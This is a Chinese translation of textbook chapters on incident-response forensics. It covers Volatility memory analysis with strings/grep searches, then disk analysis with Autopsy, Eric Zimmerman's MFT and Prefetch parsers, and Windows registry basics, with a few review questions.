现在我们已经识别出疑似文件 reader_sl.exe,接下来使用 windows.dumpfiles 插件。在这种情况下,插件需要一个输出文件。在这里,我们将输出 /home/forensics/EvidenceFiles/PID1640Dump 目录。最后,使用进程 ID 1640 而不是文件名。整体命令如下所示:
forensics@ubuntu:~/volatility3$ python3 vol.py -f /home/forensics/EvidenceFiles/MemoryImages/cridex.vmem -o /home/forensics/EvidenceFiles/PID1640Dump/ windows.dumpfiles --pid 1640
该命令输出以下内容:

图 10.13 – Dumpfiles 输出
在这种情况下,reader_sl.exe 可执行文件有 .dat 和 .img 文件,以及相应的 DLL 文件。通过使用十六进制编辑器查看 reader_sl.exe 图像文件,我们可以看到头信息:

图 10.14 – reader_sl.exe 的十六进制视图
接下来,获取文件的 MD5 哈希值可以让我们在 VirusTotal 上搜索文件的任何信息。可以通过运行以下命令来获取哈希值:
forensics@ubuntu:~/EvidenceFiles/PID1640Dump$ md5sum file.0x821ccf90.0x82137c08.ImageSectionObject.reader_sl.exe.img
这将输出 2a63509ad62eeeed0564dcb0981d90e1 哈希值。通过 VirusTotal 检查,得到以下输出:

图 10.15 – VirusTotal 结果
尽管仅有反病毒公司指出文件哈希值是恶意的可能看起来有些奇怪,但这确实提出了一个要点:Volatility 只会输出内存中包含的代码,而不是整个文件。在提取代码时,必须牢记这一点。即使反病毒提供商指出它不是恶意的,与该代码关联的文件可能仍然是恶意的。根据调查情况,提取的数据必须经过更详细的恶意软件分析。
Volatility 工作台
使用 Volatility 的一个方面是使用命令行。使用命令行运行 Volatility 的主要优势是能够创建自动化命令的脚本并将输出保存为文本文件。对于不习惯使用 Volatility 和命令行的分析人员来说,缺点是他们可能需要不断参考命令或与正确的语法作斗争。
对于希望使用图形界面版本的 Volatility 的分析师,可以选择 PassMark Software 的 Volatility Workbench。该工具可以从 www.osforensics.com/tools/volatility-workbench.html 下载并安装在 Windows 平台上。安装后,图形界面允许分析师导航到映像文件并设置windows.pslist插件,以便对 Windows 内存捕获进行分析:

图 10.16 – Volatility Workbench
该工具还具有其他功能,例如记录所有命令和输出,并能够将它们复制到剪贴板,以便将输出包括在事件报告中。如前所述,这是一个非常适合那些不需要命令行额外功能和灵活性的分析师的可靠选项。
接下来,我们将介绍如何使用简单的 Strings 工具和 GREP 来增强内存分析。
使用 Strings 进行内存分析
在上一节中,我们查看的 Volatility 工具集中于内存映像中已映射的区域。如果数据未正确映射,这些工具将无法提取数据并正确显示。这是这些内存分析工具的一个缺点。很多数据会变得无结构,并且对这些工具不可见。这可能发生在网络连接被关闭或进程退出时。即使这些数据在通过 Volatility 检查 RAM 时无法显示,痕迹证据仍然可能存在。其他证据,例如页面文件,也包含未映射且可以搜索的证据。
一个有用的工具,用于提取这些痕迹的是字符串(Strings)命令,它在许多 Linux 和 Windows 操作系统中都可用。Strings 允许响应者搜索可读的字符字符串。给定一组关键字或全局正则表达式打印(GREP)命令,响应者可能能够提取更多的相关数据,即使是来自可能由于恶意软件或不当采集而损坏的 RAM 捕获。
安装 Strings
Strings 经常会在许多 Linux 发行版中预装。Windows 提供了一个独立的可执行文件,用于字符串搜索,地址为 docs.microsoft.com/en-us/sysinternals/downloads/strings。如果 Strings 在响应者选择的 Linux 平台上未安装,可以使用以下命令进行安装:
forensics@ubuntu:~$ sudo apt install binutils
对于一个相当简单的工具,Strings 是一种强大的方法,可以在大量数据中搜索特定的基于关键字的字符串。在本书中,重点将放在使用以下 Strings 语法提取特定数据点:
forensics@ubuntu:~$ strings <file name> | grep <Regular Expression>
常见的 Strings 搜索
网络痕迹,如 IP 地址和域名,通常可以在页面文件或内存中找到。要查找 IP 地址,请使用 strings 命令,并添加以下参数:
forensics@ubuntu:~$ strings pagefile.sys | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"
要查找 URI 和 URL,请分别使用http或https:
forensics@ubuntu:~$ strings pagefile.sys | grep "^https?://" | sort | uniq | less
也可能会发现电子邮件地址的残留痕迹。这在调查可能的网络钓鱼攻击时非常有用。要查找电子邮件地址,请使用以下命令:
forensics@ubuntu:~$ strings pagefile.sys | egrep '([[:alnum:]_.-]{1,64}+@[[:alnum:]_.-]{2,255}+?\.[[:alpha:].]{2,4})'
搜索词和参数的种类繁多,本章无法覆盖所有内容。主要的收获是,分析师可以通过内存镜像和交换文件进行字符串搜索,作为整体内存分析的一部分。
小结
本章讨论了内存分析的两个主要主题。首先,我们介绍了可用的数据点和可以遵循的方法论。此外,还探讨了多个工具,如 Volatility、Volatility Workbench 和 Strings。除了对这些工具的概述外,还探讨了它们的一些功能。这仅仅是每个工具为事件响应分析师提供的功能的冰山一角。这些工具结合系统 RAM 分析方法论,可以为分析师提供强大的工具,以确定系统是否已被攻破。随着恶意软件变得更加先进,包括完全在 RAM 中执行的恶意软件,分析师必须将内存分析纳入其能力范围。将这些技术与网络证据收集相结合,可以为分析师及其组织提供强大的工具,帮助识别和修复安全事件。
在下一章中,我们将深入探讨系统的永久存储检查。
问题
请回答以下问题以测试您对本章内容的掌握情况:
-
通过内存分析可以找到哪些数据点?
-
正在运行的进程
-
网络连接
-
命令历史
-
上述所有内容
-
-
什么不属于网络连接方法的一部分?
-
进程名称
-
父进程 ID
-
检查是否有 Rootkit 迹象
-
相关实体
-
-
转储与进程相关的文件永远不会将恶意软件引入响应者的系统。
-
正确
-
错误
-
-
内存分析的主要目标之一是获取恶意进程或可执行文件以便进一步分析。
-
正确
-
错误
-
进一步阅读
要了解本章涉及的主题,参见以下内容:
-
SANS 内存取证备忘单:
digital-forensics.sans.org/blog/2017/12/11/updated-memory-forensics-cheat-sheet -
内存取证的艺术:
www.memoryanalysis.net/amf
第十一章:分析系统存储
迄今为止,已分析的证据主要集中在网络流量或系统内存中获得的元素。尽管通过这些证据来源可能会揭示事件的根本原因,但理解如何从系统存储中获取证据材料仍然很重要,无论是从可移动存储设备如 USB 设备,还是从更大的连接磁盘驱动器。这些存储容器携带着大量的数据,事件响应分析师可以利用这些数据来确定根本原因。需要注意的是,本章只能粗略介绍这一主题,因为已有整本书籍专门探讨存储中可用的法医证据的深度。
为了更好地理解系统存储分析,本章将重点介绍以下主题:
-
法医平台:我们可以使用各种商业和开源平台进行系统存储分析。本节将介绍我们可以使用的关键特性和潜在选项。
-
Autopsy:为了提供一个可以在系统存储分析中利用的开源平台,本章的大部分内容将使用 Autopsy 工具。通过利用测试镜像,我们将突出其一些功能。
-
主文件表(MFT)分析:主文件表包含系统中所有文件的完整列表,是响应人员的关键数据来源。本节将介绍如何提取和分析 MFT。
-
预取分析:确定一个潜在恶意文件是否被执行是事件调查中的关键环节。本节将介绍如何提取 Windows 预取文件、处理并进行分析。
-
注册表分析:注册表是恶意软件编写者和其他攻击者的常见目标,响应人员应熟悉注册表分析。本节将概述如何提取和分析注册表。
系统存储分析是一个复杂的过程。其深度和广度无法在一个章节中全面探讨;因此,我们希望本章能提供一些具体的关注领域,帮助响应人员更好地理解一些可以使用的工具,以及了解一些关键数据的作用。
法医平台
在过去 15 年中,磁盘法医平台的能力得到了增强。对于事件响应分析师来说,可以选择不同类型的平台来检查磁盘驱动器。通常,使用这些平台的限制因素是更强大系统的成本,而低成本的替代方案对于事件响应团队来说也能同样有效。
在进行磁盘分析时,应该考虑几个因素。首先,平台是否经过测试?一些组织会测试平台的有效性,比如国家标准与技术研究院计算机法医工具测试项目(www.cftt.nist.gov/)。其次,必须审查该工具在刑事和民事诉讼中的使用情况。虽然没有统一的法院公认标准,但工具应遵循证据规则。使用未经测试或不符合证据规则的平台,可能导致证据在法律程序中被排除。在其他更严重的后果中,可能导致分析人员得出错误结论。
法医工具的可靠性
一个未经测试且法医上不可靠的工具集的例子出现在康涅狄格州诉 Amero 一案中。在这个案件中,一家执法机构使用了不可靠的法医方法和工具,将一名女性定罪,指控她允许儿童看到色情的弹出广告。对此案件方法和事实的后续审查表明,法医检查存在严重缺陷。对此案件的详细审查也可以通过《数字法医、安全与法律期刊》访问,链接为:commons.erau.edu/jdfsl/vol7/iss2/5/。
最后一个考虑因素是工具如何融入整体的事件响应规划。例如,商业磁盘法医工具在定位图像和网页证据方面非常出色。它们也非常擅长从嫌疑人的硬盘中提取数据。这通常是因为法医软件被执法机构用作调查儿童剥削犯罪的工具。因此,这一能力对对付此类嫌疑人的刑事案件至关重要。虽然这些功能非常优秀,但事件响应人员可能更关注能够用于关键词搜索和时间线分析的工具,以便重建事件发生前、发生中和发生后的系列事件。
虽然大多数商业和免费法医平台都具有多种功能,但有几个常见功能对事件响应人员非常有用:
-
文件结构视图:通常,能够查看正在检查的磁盘的文件结构非常重要。法医平台应该具备查看文件结构的能力,并允许响应人员快速查看嫌疑系统中已知位置的文件。
-
十六进制查看器:能够以十六进制查看文件使得响应人员能够更细致地审视正在检查的文件。在涉及恶意软件或其他定制化攻击的案件中,这可能会非常有帮助。
-
网页痕迹:由于大多数数据都存储在与网页搜索相关的磁盘上,法医平台应具备检查这些数据片段的能力。这在检查社会工程攻击时非常有用,尤其是在用户访问恶意网站时。
-
电子邮件提取:事件响应人员可能会被召集到涉及恶意员工参与非法活动或违反政策的案件中。通常,这类行为的证据存在于嫌疑系统的电子邮件中。拥有一个能够提取这些数据并立即查看的平台,有助于分析人员查看嫌疑系统与其他系统之间的通信。
-
图像查看器:通常,需要查看系统中保存的图像。如我们之前提到的,执法部门可能会利用此功能判断系统中是否存在儿童性虐待的证据。事件响应人员可以利用这些功能判断是否存在政策违规行为。
-
元数据:关于文件的关键数据,如创建日期和时间、文件哈希值以及嫌疑文件在磁盘上的位置,对于检查与事件相关的系统非常有用。例如,结合恶意软件分析,某个应用程序运行的时间与网络活动相结合,可以帮助分析人员确定实际执行的可执行文件。
在商业选择方面,以下三个平台被普遍认为是可靠的,并被世界各地的商业和政府机构使用。每个平台都采用了我们之前描述的功能,以及其他一些更专业的工具:
-
OpenText EnCase:EnCase 无疑是最著名的法医平台,具有长期历史,常用于重大刑事调查中,例如 BTK 杀手案件。EnCase 是一个功能丰富的平台,在训练有素的分析人员手中,它是一个强大的工具。除了磁盘取证,EnCase 还集成了针对移动设备的功能。这对于可能需要分析不仅是磁盘,而且是与事件相关的移动设备的组织来说,是一个强大的能力。
-
AccessData 法医工具包:在第六章中,FTK Imager 工具被用来获取磁盘和内存证据。这个工具是 AccessData 提供的一系列专门为磁盘取证设计的工具的一部分。除了 Imager 工具,AccessData 还提供一个功能齐全的法医平台,允许响应人员执行与事件相关的一系列任务。FTK 被联邦调查局(FBI)等执法机构使用,并且在协助响应人员进行事件调查方面已证明非常有效。
-
X-Ways Forensics:FTK 和 EnCase 的一个缺点是价格昂贵。这些平台每年可能需要数千美元。对于大型组织,如政府机构和大企业,成本与功能的权衡可能不是问题。但对于小型组织来说,这些平台可能会因成本过高而无法使用。一个功能丰富的法医平台替代方案是 X-Ways。这个平台可以执行各种任务,但成本仅为商业平台的一小部分。X-Ways 的另一个好处是它对资源的需求较低,可以通过 USB 设备运行,这使它成为一个理想的替代平台,尤其适用于事件响应。
这些平台中的每一个都具有丰富的功能集,并为响应者提供了强大的工具,用于执行各种法医任务。这些平台中的具体工具超出了本书的范围。因此,建议响应者接受这些平台的使用培训,以确保他们充分了解这些工具的功能。
Autopsy
另一个商业法医程序的替代方案是 Autopsy。Autopsy 是一个基于图形用户界面(GUI)的法医平台,基于开源工具集 The Sleuth Kit。这个开源平台提供了商业平台中常见的功能,包括时间线分析、关键字搜索、网页和电子邮件文物,以及根据已知不良文件哈希值过滤结果的能力。其主要特点之一是易于使用。这使得事件响应者能够拥有一个轻量级平台,专注于关键任务并获取所需的关键证据。
安装 Autopsy
我们之前讨论过的几种 Linux 发行版已经预装了 Autopsy。响应者应确保他们使用的平台是最新的,这是一项良好的实践。对于 Windows 操作系统,可以下载位于www.sleuthkit.org/autopsy/download.php的 Microsoft 自安装程序文件。下载后,执行 MSI 文件并选择安装位置。完成后,应用程序就可以开始使用了。
开始一个案件
一旦安装了 Autopsy,分析员可以在几乎不需要预先配置的情况下打开案件。以下步骤将介绍如何打开一个新案件的过程:
- 在开始分析之前,确保整个磁盘映像文件位于一个单独的目录中。这将使整个映像在分析过程中都能被使用:

图 11.1 – E01 文件
在上面的截图中,已经从一个嫌疑系统中获取了一个映像文件。该映像已被分割成两个独立的文件。回顾第八章,像 FTK Imager 这样的成像应用程序会将映像分割成多个文件。只要这些分割后的文件位于同一目录中,Autopsy 就能够将这两个文件合并并重建整个成像的卷。
示例映像文件
对于我们的 Autopsy 检查,可以在 cfreds.nist.gov/all/MagnetForensics/2022WindowsMagnetCTF 找到一个来自 Windows 10 系统的示例镜像文件。为了更多的练习,可以从位于 www.cfreds.nist.gov/ 的计算机取证参考数据集下载额外的测试镜像。
- 打开 Autopsy,以下窗口将出现;选择 New Case:

图 11.2 – Autopsy – 创建新案件
- 将会出现第二个窗口,分析师将在其中输入案件标题。此外,还可以设置存储与案件相关文件的 Autopsy 路径。这在某些情况下非常有用,例如当分析师必须将文件放置在特定容器中时,包括外部硬盘。完成后,点击 Next:

图 11.3 – Autopsy – 新案件信息
- 在下一个窗口中,响应者应输入案件编号、姓名、联系方式以及案件的简要描述,填写在 Notes 中。点击 Finish:

图 11.4 – 新案件信息 – 可选信息
添加证据
可以将案件视为一个容器,包含与事件相关的所有案件数据和证据。Autopsy 还允许分析师添加多个数据源,例如磁盘镜像和虚拟机磁盘。在此阶段,我们将加载 E01 文件作为数据源:
- 输入案件详细信息后,分析师需要加载之前创建的镜像文件。点击 Autopsy 窗口左上角的 Add Data Source 按钮:

图 11.5 – 添加数据源 – 选择主机
Autopsy 可以自动检测主机名。如果分析师知道主机名,可以在 Specific new host name 字段中添加。根据最佳实践,如果已知,应始终输入主机名。完成后,点击 Next。
- 选择适当的数据源类型。在这种情况下,检查将针对一个法医获取的图像文件进行。Autopsy 也可以检查
.vmdk文件。这在虚拟化环境中非常方便,因为可以对虚拟机文件进行检查,而无需通过 FTK Imager 等工具获取它:

图 11.6 – 添加数据源 – 选择数据源类型
- 选择数据源类型后,浏览到图像所在位置。该文件夹包含多个图像文件;选择以
E01结尾的文件。加载此文件后,将包括该文件夹中所有随后的图像文件。接下来,选择适当的时区。作为最佳实践,分析师应选择在整个调查过程中统一的时区。在这种情况下,最佳选择是选择 UTC。完成后,点击下一步:

图 11.7 – 选择 E01 文件
- 下一屏幕允许分析师定制正在使用的模块。根据调查的类型,其中一些选项可以取消勾选。然而,刚开始时,分析师应选择所有选项,以确保所有必要的信息都能进行检查。
另一个选项是处理未分配空间(这非常重要!)。这将捕捉硬盘上当前未分配给数据的所有信息。有些方法可以利用未分配空间来隐藏信息。完成后,点击下一步:

图 11.8 – 添加数据源 – 配置数据导入
这将开始处理过程:

图 11.9 – 数据源处理
- 在下一屏幕上,确认数据源已加载,然后点击完成。这将开始将 E01 文件作为数据源添加的过程:

图 11.10 – 数据源完成
Autopsy 现在将开始分析来自图像的文件。根据图像的大小,这个过程可能需要几分钟到几个小时不等。屏幕右下角的进度条会显示处理进度。这个过程的时间通常取决于计算机的处理速度以及图像文件的大小。此时,即使额外的处理仍在进行,Autopsy 也会开始填充左侧面板中的特定字段。GUI 的右下角将显示处理的进度:

图 11.11 – 证据源处理
如前所述,处理可能需要一些时间,具体取决于取证系统的规格和文件的大小。分析师可以在了解可能并非所有数据都可用的情况下进行一些分析。
浏览 Autopsy
Autopsy GUI 分为三个主要部分。这些部分显示与系统和特定文件相关的详细信息。当 Autopsy 完成处理新案件或打开现有案件时,分析师将看到以下窗口:

图 11.12 – Autopsy GUI
如前所示,Autopsy 分为三个主要窗格。其中第一个是左侧窗格,它包含数据源、文件结构以及搜索结果。点击加号(Program Files目录,位于系统上):

图 11.13 – Autopsy 的中央窗格
最后,底部窗格包含有关中央窗格中单个文件的元数据和其他信息。在这个例子中,选择了desktop.ini文件。点击文件元数据标签,显示该文件的特定信息:

图 11.14 – 文件元数据
最后,通过点击十六进制标签,可以查看文件的十六进制内容:

图 11.15 – 十六进制视图
如果分析员希望检查一个应用程序或其他疑似恶意软件的文件,这个视图非常适合。
Autopsy 提供了一些可以在其他商业平台上找到的操作和分析功能。然而,需要注意的是,在更复杂的调查中,可能需要使用更先进的平台。Autopsy 还为新手提供了一个更易于使用的平台,使他们可以在使用更先进的商业解决方案之前,先积累一些磁盘取证的经验。
审查案件
一旦案件处理完成,左侧窗格将显示系统中找到的工件数量:

图 11.16 – Autopsy 的工件窗格
在前面的截图中,数据工件部分列出了几个项目。这些项目包括查看已安装的程序、操作系统信息以及最近的文档。Autopsy 的另一个关键功能是能够检查镜像文件的整个文件夹结构。点击数据源旁边的加号(+)可以展开整个文件夹结构。如果分析员通过其他来源确定了嫌疑文件的位置,这一点非常有用:

图 11.17 – 数据源
通过使用 Autopsy,可以检查不同的数据点。具体搜索什么内容以及如何搜索,通常由调查中的事件类型或检查内容来决定。例如,源自被攻陷网站的恶意软件感染可能涉及检查系统中用户可能输入或通过浏览器访问的 URL。此外,还可以通过检查系统内存来获取信息,进而找到实际的文件,我们在上一章中有提到这一点。例如,如果分析员能够定位到一个可疑进程,并且随后能够找到可执行文件,他们可以使用 Autopsy 查找该可执行文件最后一次被启动的时间。这样可以为响应人员提供一个时间点,以便他们检查其他系统是否存在被攻陷的证据。
在另一种情况下,响应人员可能需要确定员工是否访问了机密文件,以便将其传递给竞争对手。这可能涉及检查系统中访问文件的时间和日期、可能使用的电子邮件地址、访问过的外部云存储站点或连接到系统的 USB 存储设备。最后,所有这些文件的完整列表可能为移出的机密文件提供一些线索。
Web 工件
在某些情况下,可能需要检查系统是否存在用户进行的恶意活动证据。之前,我们提到过访问基于云的存储,在那里一个恶意内部人员上传了机密文件。在其他情况下,社交工程攻击可能使一个毫无防备的员工访问一个被攻陷的网站,随后下载恶意软件。在这两种情况下,Autopsy 为我们提供了检查多个网页工件区域的能力。
这些网页工件中的第一个是Web 历史。如果发生涉及用户访问恶意软件交付网站的社交工程攻击,这些数据可能为访问的特定 URL 提供一些线索。然后,可以提取该 URL 并与来自内部或外部来源的已知恶意网站列表进行比较。在其他情况下,如果内部人员访问了外部云存储网站,Web 历史记录可能提供这一活动的证据。让我们详细看一下这个案例:
- 点击左侧窗格中的Web 历史部分将打开中间窗格,并显示系统访问过的 URL 的详细信息:

图 11.18 – Web 历史
- 在前面的截图中,Autopsy 显示该系统访问了网站 hacker-simulator.com。Autopsy 提供的进一步信息使分析人员能够评估其他信息,如工件的位置和使用的浏览器类型。通过数据工件选项卡,可以在下方的结果面板中访问这些信息:

图 11.19 – 网络历史元数据
- 调查中另一个有用的数据来源是数据工件部分中的网络下载。威胁行为者常用的一种技术是引导用户或脚本下载二次利用或恶意软件。这可能包括黑客工具和其他脚本,通常利用系统从网站下载的功能。在这种情况下,如果点击网络下载,我们可以看到下载文件的路径,以及文件来源的网址:

图 11.20 – 网络下载
- 此外,Autopsy 还提供了正在检查的特定下载文件的元数据。点击文件元数据选项卡后,会显示以下数据:

图 11.21 – 网络下载元数据
如前面的截图所示,有一些关于已下载文件的更多细节。例如,分析人员可以收集时间信息、文件位置和 MD5 哈希值,这些信息可用于比较进一步检查的任何提取文件。在某些情况下,嫌疑人可能决定从系统中删除浏览历史以隐藏任何恶意活动。另一个可能提供恶意内部人员访问网站证据的位置是网络 Cookie。这些可以通过左侧面板中的网络 Cookie访问。点击该选项后,会显示仍然保留在系统中的 Cookie 列表:

图 11.22 – 网络 Cookie
根据事件的类型,网络工件可能会发挥重要作用。Autopsy 对此提供了一些功能,但应急响应人员可能会发现其他商业解决方案提供了更为强大的平台。Magnet Forensics 提供的 Evidence Finder (www.magnetforensics.com) 会扫描整个系统的网络工件,并以易于分析人员查看的方式展示这些数据。此类商业解决方案的另一个主要优势是其功能不断更新。根据互联网和网络工件搜索的频率,使用此类工具可能会带来益处。
电子邮件
定位可疑电子邮件继续是事件响应者经常进行的任务。这可能包括外部引起的事件,如社会工程,响应者可能被要求定位带有恶意软件的可疑电子邮件。在其他情况下,恶意内部人员可能已发送或接收到违反公司政策或不当通信。在这些情况下,响应者可能被要求恢复这些电子邮件,以便包括在解雇程序或法律行动中。
Autopsy 可以定位系统中包含的电子邮件。通过这些电子邮件,他们可能能够识别一个或多个可疑的电子邮件和域,进一步研究是否与社会工程或其他恶意活动相关。只需单击关键字命中,然后单击左侧窗格中的电子邮件地址选项卡。从那里,分析师可以看到系统中的电子邮件地址:

图 11.23 – 电子邮件地址
接下来,让我们看一下已连接的设备。
已连接的设备
对分析师有用的另一个关键证据是关于特定设备何时连接到系统的数据。在恶意内部人员试图窃取机密文件的情况下,了解他们是否使用了 USB 设备将会很有帮助。Autopsy 利用系统上的注册表设置来识别连接的设备类型及其最后使用时间。在这种情况下,单击左侧窗格中的连接的设备将产生以下结果:

图 11.24 – USB 设备
进入数据工件选项卡后,分析师可以识别设备类型以及 USB 设备连接的日期和时间:

图 11.25 – USB 设备工件
最后,对源文件元数据区域进行更详细的检查将显示可用于重建系统上访问 USB 设备的时间的其他数据:

图 11.26 – 设备条目元数据
接下来,让我们看一下已删除的文件。
已删除的文件
已删除的文件也可以部分或完全重建。当用户选择删除时,Windows 操作系统不会删除文件。操作系统将标记删除文件在主文件表(MTF)中占用的空间为可用于写入新文件。因此,响应者可能能够查看未被覆盖的已删除文件。
固态驱动器
如在第八章中讨论的,记住法医分析员在检查固态硬盘(SSD)时面临的挑战。传统的硬盘驱动器即使在系统关闭后,仍然可以恢复已删除的文件。而在 SSD 上,操作系统通常会删除已删除的文件,以提高文件存储效率。如果您想了解更多信息,可以访问以下网站,它提供了关于这一点的详细分析:www.datanarro.com/the-impact-of-ssds-on-digital- forensics/。
要查看系统中的已删除文件,点击左侧面板中的已删除文件。在这里,分析员可以看到所有已标记为删除的文件:

图 11.27 – 已删除文件
从这里,分析员可以搜索已删除的文件。这些文件可能具有证据价值。例如,在恶意内部人员活动的案例中,如果在已删除的文件中发现多个敏感文件,并且这些文件都在相同的时间内被删除,这可能表明内部人员试图通过删除可疑文件来掩盖其痕迹。
关键字搜索
法医应用程序的一大优势是能够执行关键字搜索。随着磁盘驱动器容量的增大,响应者需要处理大量数据,这使得关键字搜索尤为重要。关键字通常来源于调查的其他元素或外部来源。例如,如果分析员正在调查恶意软件事件,他们可能会使用通过内存镜像分析得到的可疑 DLL 或可执行文件名称。在其他情况下,例如怀疑恶意内部人员访问了机密信息时,可以使用那些文档中的关键字(无论是秘密的还是机密的)来检查嫌疑人是否使用系统访问了这些文件。
Autopsy 可以执行关键字搜索,同时使用精确匹配或子字符串匹配。例如,假设分析员的任务是确定与 ZeroTier One 可执行文件有关的证据,该文件已在Web Downloads条目中找到。分析员的任务是定位任何可以表明该文件已被执行的痕迹证据,并尽可能识别用户。
分析员需要导航到右上角,在字段中输入ZeroTier One。在这种情况下,将使用精确匹配。一旦选择后,他们点击搜索按钮。左侧面板将指示该文本是否有命中结果。在这种情况下,定价决策有 82 次命中:

图 11.28 – 关键字搜索命中
如前面的截图所示,中央窗格将包含一个文件列表,这些文件包含了命中项。一个突出的文件是 主文件表 条目。该条目显示了文件首次放置在系统上的日期和时间,以及任何修改和更改:

图 11.29 – 主文件表条目
进一步审查显示了一个 Windows PowerShell 事件日志条目,表明该应用程序是由用户账户 Patrick 执行的,依据文件路径:

图 11.30 – 关键词搜索结果
深入查看命中项,Windows PowerShell 操作事件日志中有一个条目,表明该可执行文件与通过 PowerShell 脚本建立的网络连接相关联:

图 11.31 – 关键词 PowerShell 脚本
条目中进一步的内容是一个 Base64 编码的 PowerShell 脚本条目:

图 11.32 – Base64 PowerShell 脚本
综合来看,这可能指向一些可疑活动。例如,ZeroTier One 是一个商业 VPN 解决方案,因此它建立连接并不罕见。可疑的是 Base64 编码的 PowerShell 脚本,攻击者常用它下载额外的恶意软件或执行恶意操作。我们将在 第十六章 中详细了解一些这些脚本。
接下来,我们将看看 Autopsy 如何构建系统活动的时间线。
时间线分析
在调查事件时,了解应用程序或文件何时执行至关重要。时间戳有时可以在调查的其他方面找到,例如检查内存镜像时。此外,识别内存镜像中的特定 DLL 文件或可执行文件,可以与它们的访问日期和时间进行比较,以关联系统上观察到的其他活动。
时间归一化
数字取证中的一个方面需要重复强调的是,确保所有系统使用相同的时区。对于网络系统,这通常通过 网络时间协议 (NTP) 来实现。有时系统无法通过 NTP 实现时间归一化。响应人员应特别注意理解应该使用的时区和同步方式。关于时间的最佳实践是将所有系统设置为 UTC,特别是当一个组织具有地理多样性时,这一点至关重要。
Autopsy 提供了专门用于时间线分析的功能。只需点击窗口顶部的 时间线 按钮,Autopsy 就会开始解析时间线数据的过程。根据被分析镜像文件的大小,这可能需要几分钟。完成后,以下窗口将打开:

图 11.33 – 时间轴查看器
从这里,分析人员可以使用几个功能。首先是屏幕左侧的文本筛选器。使用此功能,分析人员可以搜索文件中的特定文本。例如,分析人员已经确定名为 ZeroTier One 的可执行文件已在正在调查的系统上执行。如果分析人员想知道该文件是否在其他时间被访问过,他们可以将“定价”输入到 文本筛选器 框中,然后点击 应用,这将产生以下结果:

图 11.34 – 关键字时间轴
从这个图表中,分析人员可以通过点击彩色条形图,进一步深入查看文件被访问的具体时间。响应人员现在可以看到,这个可执行文件仅在某个特定日期和时间从该系统中被访问过。
接下来,我们将了解如何从磁盘镜像中提取特定的证据项,并使用附加工具进行处理。
主文件表分析
另一种可以用于时间轴分析的技术是利用外部工具分析 MFT。Autopsy 允许分析人员导出 MFT 并使用第三方工具进行分析。在此案例中,我们将使用 MFT Explorer,这是 Eric Zimmerman 开发的多个工具之一。
Eric Zimmerman 的工具
Eric Zimmerman 是一位前 FBI 特工、SANS 课程开发者以及数字取证专家。他开发了一套用于数据提取和分析的工具,工具可在 ericzimmerman.github.io/#!index.md 获取。此外,SANS 机构还创建了一个关于这些工具的备忘单,链接地址为 www.sans.org/posters/eric-zimmerman-tools-cheat-sheet/。
在此情况下,我们将处理通过 Autopsy 检查的镜像中的 MFT。MFT 文件可以在文件系统的根目录中找到。找到 $MFT 文件,右键点击它,选择 提取文件,然后将文件保存到证据驱动器中。作为良好的实践,请将文件名更改为与案件相关的名称。
接下来,找到 MFTECmd.exe 可执行文件。以下命令处理 MFT,并将结果输出到 逗号分隔值 (CSV) 文件:
C:\Users\forensics\Documents\ZimmmermanTools>MFTECmd.exe -f "D:\Suspect_$MFT" --csv "D:" --csvf SuspectMFT.csv
现在可以打开并检查 CSV 文件。在这种情况下,CSV 文件已通过 Microsoft Excel 打开。这样可以进行关键字搜索,并检查文件的时间和日期,以识别文件或文件在系统上的放置时间。回到之前的关键字搜索,我们可以使用 Excel 中的筛选选项。ZeroTier 关键字已被输入:

图 11.35 – ZeroTier 筛选 MFT 结果
MFT 的工作处理可能会因为数据量的原因变得复杂。在这种情况下,MFT 有超过 410,000 个单独的条目,可能需要逐一排序。最好有一个起点,比如日期和时间,或者文件名进行搜索。这样可以让分析人员只处理相关的结果。其他工具,如 Eric Zimmerman 的 Timeline Explorer,也可以用于处理和提取对调查有重要意义的数据点。
现在我们已经查看了系统中文件的存在情况,接下来可以查看执行的证据。
Prefetch 分析
分析人员常常需要回答的一个问题是如何确定一个可执行文件是否运行过。回答这个问题的最佳数据来源之一是 Prefetch 文件。当一个应用程序或其他可执行文件被运行时,会创建一个文件并将其存储在C:\Windows\Prefetch目录中。如果程序在多个位置运行,则会为每个位置创建一个条目。Prefetch 文件的另一个关键特点是,当应用程序或程序被删除时,Prefetch 文件不会被删除。因此,如果攻击者试图清理系统中的恶意可执行文件或 DLL 文件,仍然可以在Prefetch目录中找到它们执行的证据。
Prefetch 文件确实存在一些需要理解的特性。首先,即使程序执行不成功,也可能产生 Prefetch 文件。需要注意的是,Prefetch目录专门限制为最多 1,024 个单独的文件。较旧的文件会被新文件覆盖。在大多数终端用户系统上,如果分析人员能够及时捕获证据,这通常不会造成问题。第三,之前执行过的程序仍然可以创建新的 Prefetch 文件。最后,Prefetch 文件存在时间延迟。一般来说,文件的创建时间可能比分析人员发现的其他时间戳晚 10 秒。
获取Prefetch目录非常简单。像在第六章中讨论的那样,分类工具可以收集该目录。也可以通过 Autopsy 直接提取该目录。只需导航到Prefetch目录,右键点击并选择提取文件。选择要输出文件的目录。最好将输出放在证据驱动器中,或使用 Autopsy 的默认导出目录。一旦提取,Prefetch 条目将如下所示:

图 11.36 – Prefetch 文件条目
然后可以使用以下命令通过 Prefetch 解析器处理该输出目录:
C:\Users\forensics\Documents\ZimmmermanTools>PECmd.exe -d D:\Suspect_Prefetch -q --csv D:\ --csvf suspect_prefetch.csv
上一个命令输出了两个文件。第一个是包含预取条目的 CSV 文件,第二个包含时间线分解。我们来看看时间线版本。CSV 文件的输出允许使用与上一节中相同类型的搜索和筛选,主文件表分析。在这种情况下,我们将使用ZeroTier进行筛选。此时,搜索显示了几个条目,显示了ZEROTIER_DESKTOP_UI.EXE可执行文件的执行:

图 11.37 – ZeroTier 预取条目
注册表分析
Windows 操作系统下有大量活动在后台进行。这些活动的一部分会在 Windows 注册表中进行记录。Windows 注册表是一个存储 Windows 操作系统低级系统设置的数据库。它包括设备、安全性、服务以及用户帐户安全设置存储在安全帐户管理器(SAM)中的信息。
注册表由两个元素组成。第一个是键。键是一个容器,存储第二个元素——值。这些值包含特定的设置信息。最高级别的键称为根键,Windows 操作系统有五个根键,这些根键都存储在磁盘上的注册表 Hive 中。这些注册表 Hive 位于 Windows 文件结构中的%SystemRoot%\system32\config文件夹下:
-
HKEY_CURRENT_USER -
HKEY_USERS -
HKEY_CLASSES_ROOT -
HKEY_LOCAL_MACHINE -
HKEY_CURRENT_CONFIG
在五个根键中,事件调查中最有价值的是HKEY_LOCAL_MACHINE或HKLM键。该键包含以下子键(这些子键在调查中最为关键):
-
